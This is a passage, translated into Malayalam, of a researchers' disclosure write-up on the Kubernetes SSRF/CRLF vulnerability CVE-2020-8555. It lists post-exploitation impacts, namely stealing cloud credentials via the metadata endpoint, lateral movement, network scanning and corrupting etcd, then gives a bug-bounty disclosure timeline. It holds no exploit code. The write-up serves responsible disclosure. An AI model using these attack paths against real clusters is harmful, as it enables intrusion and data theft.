എന്നിരുന്നാലും, ഒരു നിയന്ത്രിത സേവന പരിതസ്ഥിതിയുടെ പശ്ചാത്തലത്തിൽ സാധ്യമായ അനന്തരഫലങ്ങൾ വിലയിരുത്തുന്നത് (ഞങ്ങളുടെ ഗവേഷണത്തിന്റെ ഏറ്റവും രസകരമായ ഭാഗമായിരുന്നു ഇത്!) അപകടസാധ്യതയെ ഒരു റേറ്റിംഗിലേക്ക് വീണ്ടും വർഗ്ഗീകരിക്കാൻ ഞങ്ങളെ പ്രേരിപ്പിച്ചു. ഗുരുതരമായ CVSS10/10 പല വിതരണക്കാർക്കും.

ക്ലൗഡ് പരിതസ്ഥിതികളിൽ ഉണ്ടാകാനിടയുള്ള പ്രത്യാഘാതങ്ങൾ വിലയിരുത്തുമ്പോൾ ഞങ്ങളുടെ പരിഗണനകൾ മനസ്സിലാക്കാൻ നിങ്ങളെ സഹായിക്കുന്ന അധിക വിവരങ്ങൾ ചുവടെയുണ്ട്:

സമഗ്രത

• നേടിയ ആന്തരിക ക്രെഡൻഷ്യലുകൾ ഉപയോഗിച്ച് വിദൂരമായി കമാൻഡുകൾ എക്സിക്യൂട്ട് ചെയ്യുക.
• പ്രാദേശിക നെറ്റ്‌വർക്കിൽ കാണുന്ന മറ്റ് ഉറവിടങ്ങൾ ഉപയോഗിച്ച് IDOR (ഇൻസെക്യുർ ഡയറക്‌ട് ഒബ്‌ജക്റ്റ് റഫറൻസ്) രീതി ഉപയോഗിച്ച് മുകളിലുള്ള സാഹചര്യം പുനർനിർമ്മിക്കുന്നു.

രഹസ്യാത്മകം

• ആക്രമണ തരം ലാറ്ററൽ മൂവ്മെന്റ് ക്ലൗഡ് ക്രെഡൻഷ്യലുകളുടെ മോഷണത്തിന് നന്ദി (ഉദാഹരണത്തിന്, മെറ്റാഡാറ്റ API).
• പ്രാദേശിക നെറ്റ്‌വർക്ക് സ്കാൻ ചെയ്തുകൊണ്ട് വിവരങ്ങൾ ശേഖരിക്കുന്നു (എസ്എസ്എച്ച് പതിപ്പ്, എച്ച്ടിടിപി സെർവർ പതിപ്പ്, ...).
• മെറ്റാഡാറ്റ API പോലുള്ള ആന്തരിക API-കൾ വോട്ടെടുപ്പിലൂടെ ഉദാഹരണങ്ങളും അടിസ്ഥാന സൗകര്യ വിവരങ്ങളും ശേഖരിക്കുക (http://169.254.169.254,…).
• ക്ലൗഡ് ക്രെഡൻഷ്യലുകൾ ഉപയോഗിച്ച് ഉപഭോക്തൃ ഡാറ്റ മോഷ്ടിക്കുന്നു.

ലഭ്യത

ആക്രമണ വെക്‌ടറുകളുമായി ബന്ധപ്പെട്ട എല്ലാ ചൂഷണ സാഹചര്യങ്ങളും സമഗ്രത, വിനാശകരമായ പ്രവർത്തനങ്ങൾക്കായി ഉപയോഗിക്കുകയും ക്ലയന്റ് പരിധിയിൽ നിന്ന് (അല്ലെങ്കിൽ മറ്റേതെങ്കിലും) മാസ്റ്റർ സംഭവങ്ങളിലേക്ക് നയിക്കുകയും ചെയ്യാം.

ഞങ്ങൾ ഒരു നിയന്ത്രിത K8s പരിതസ്ഥിതിയിൽ ആയിരുന്നതിനാലും സമഗ്രതയിലെ ആഘാതം വിലയിരുത്തുന്നതിനാലും, ലഭ്യതയെ ബാധിച്ചേക്കാവുന്ന നിരവധി സാഹചര്യങ്ങൾ നമുക്ക് സങ്കൽപ്പിക്കാൻ കഴിയും. അധിക ഉദാഹരണങ്ങളിൽ etcd ഡാറ്റാബേസ് കേടാക്കുകയോ Kubernetes API-ലേക്ക് ഒരു നിർണായക കോൾ ചെയ്യുകയോ ഉൾപ്പെടുന്നു.

ടൈംലൈൻ

• ഡിസംബർ 6, 2019: MSRC ബഗ് ബൗണ്ടിയിൽ കേടുപാടുകൾ റിപ്പോർട്ട് ചെയ്തു.
• ജനുവരി 3, 2020: ഞങ്ങൾ ഒരു സുരക്ഷാ പ്രശ്‌നത്തിൽ പ്രവർത്തിക്കുന്നുണ്ടെന്ന് ഒരു മൂന്നാം കക്ഷി കുബർനെറ്റസ് ഡെവലപ്പർമാരെ അറിയിച്ചു. SSRF ഒരു ആന്തരിക (ഇൻ-കോർ) ദുർബലതയായി കണക്കാക്കാൻ അവരോട് ആവശ്യപ്പെട്ടു. പ്രശ്‌നത്തിന്റെ ഉറവിടത്തെക്കുറിച്ചുള്ള സാങ്കേതിക വിശദാംശങ്ങളുള്ള ഒരു പൊതു റിപ്പോർട്ട് ഞങ്ങൾ പിന്നീട് നൽകി.
• ജനുവരി 15, 2020: Kubernetes ഡവലപ്പർമാരുടെ അഭ്യർത്ഥന പ്രകാരം (HackerOne പ്ലാറ്റ്‌ഫോം വഴി) ഞങ്ങൾ സാങ്കേതികവും പൊതുവായതുമായ റിപ്പോർട്ടുകൾ നൽകി.
• ജനുവരി 15, 2020: കഴിഞ്ഞ റിലീസുകൾക്കുള്ള അർദ്ധ-അന്ധമായ SSRF + CRLF കുത്തിവയ്പ്പ് ഇൻ-കോർ അപകടസാധ്യതയായി കണക്കാക്കുന്നുവെന്ന് Kubernetes ഡവലപ്പർമാർ ഞങ്ങളെ അറിയിച്ചു. മറ്റ് സേവന ദാതാക്കളുടെ പരിധികൾ വിശകലനം ചെയ്യുന്നത് ഞങ്ങൾ ഉടൻ നിർത്തി: K8s ടീം ഇപ്പോൾ മൂലകാരണം കൈകാര്യം ചെയ്യുകയായിരുന്നു.
• ജനുവരി 15, 2020: MSRC റിവാർഡ് HackerOne വഴി ലഭിച്ചു.
• ജനുവരി 16, 2020: കുബർനെറ്റസ് പിഎസ്‌സി (പ്രൊഡക്‌റ്റ് സെക്യൂരിറ്റി കമ്മിറ്റി) അപകടസാധ്യത തിരിച്ചറിയുകയും ഇരകളുടെ എണ്ണം കൂടുതലായതിനാൽ മാർച്ച് പകുതി വരെ രഹസ്യമായി സൂക്ഷിക്കാൻ ആവശ്യപ്പെടുകയും ചെയ്തു.
• ഫെബ്രുവരി 11, 2020: Google VRP റിവാർഡ് ലഭിച്ചു.
• മാർച്ച് 4, 2020: HackerOne-ലൂടെ Kubernetes റിവാർഡ് ലഭിച്ചു.
• 15 മാർച്ച് 2020: കോവിഡ്-19 സാഹചര്യം കാരണം ആദ്യം ഷെഡ്യൂൾ ചെയ്ത പൊതു വെളിപ്പെടുത്തൽ മാറ്റിവച്ചു.
• ജൂൺ 1, 2020: അപകടസാധ്യതയെക്കുറിച്ചുള്ള കുബർനെറ്റസ് + മൈക്രോസോഫ്റ്റ് സംയുക്ത പ്രസ്താവന.

അച്ചു ഡി.ആർ.

• ഞങ്ങൾ ബിയർ കുടിക്കുകയും പിസ്സ കഴിക്കുകയും ചെയ്യുന്നു :)
• കുബെർനെറ്റസിൽ ഞങ്ങൾ ഒരു ഇൻ-കോർ അപകടസാധ്യത കണ്ടെത്തി, അങ്ങനെ ചെയ്യാൻ ഞങ്ങൾക്ക് ഉദ്ദേശ്യമില്ലെങ്കിലും.
• വ്യത്യസ്‌ത ക്ലൗഡ് ദാതാക്കളുടെ ക്ലസ്റ്ററുകളിൽ ഞങ്ങൾ അധിക വിശകലനം നടത്തി, അധിക ആകർഷണീയമായ ബോണസുകൾ ലഭിക്കുന്നതിനുള്ള അപകടസാധ്യത മൂലമുണ്ടാകുന്ന നാശനഷ്ടങ്ങൾ വർദ്ധിപ്പിക്കാൻ കഴിഞ്ഞു.
• ഈ ലേഖനത്തിൽ നിങ്ങൾ ധാരാളം സാങ്കേതിക വിശദാംശങ്ങൾ കണ്ടെത്തും. അവ നിങ്ങളുമായി ചർച്ച ചെയ്യുന്നതിൽ ഞങ്ങൾക്ക് സന്തോഷമുണ്ട് (ട്വിറ്റർ: @ReeverZax & @__hach_).
• എല്ലാത്തരം ഔപചാരികതകൾക്കും റിപ്പോർട്ടിംഗിനും പ്രതീക്ഷിച്ചതിലും കൂടുതൽ സമയമെടുത്തതായി തെളിഞ്ഞു.

റെഫറൻസുകൾ

• Google ഗ്രൂപ്പ് kubernetes-security-announces;
• CVE-2020-8555;
• golang ലക്കം #30794;
• heketi/client/api/go-client/volume.go.

വിവർത്തകനിൽ നിന്ന് പി.എസ്

ഞങ്ങളുടെ ബ്ലോഗിലും വായിക്കുക:

• «കുബർനെറ്റസ് ബഗ് ഹണ്ട് ഔദ്യോഗികമായി തുറന്നിരിക്കുന്നു";
• «ലോഗുകൾ മൌണ്ട് ചെയ്തുകൊണ്ട് കുബർനെറ്റസിലെ ഒരു പോഡിൽ നിന്ന് പുറത്തുകടക്കുന്നു";
• «33+ കുബർനെറ്റ്സ് സുരക്ഷാ ഉപകരണങ്ങൾ".

അവലംബം: www.habr.com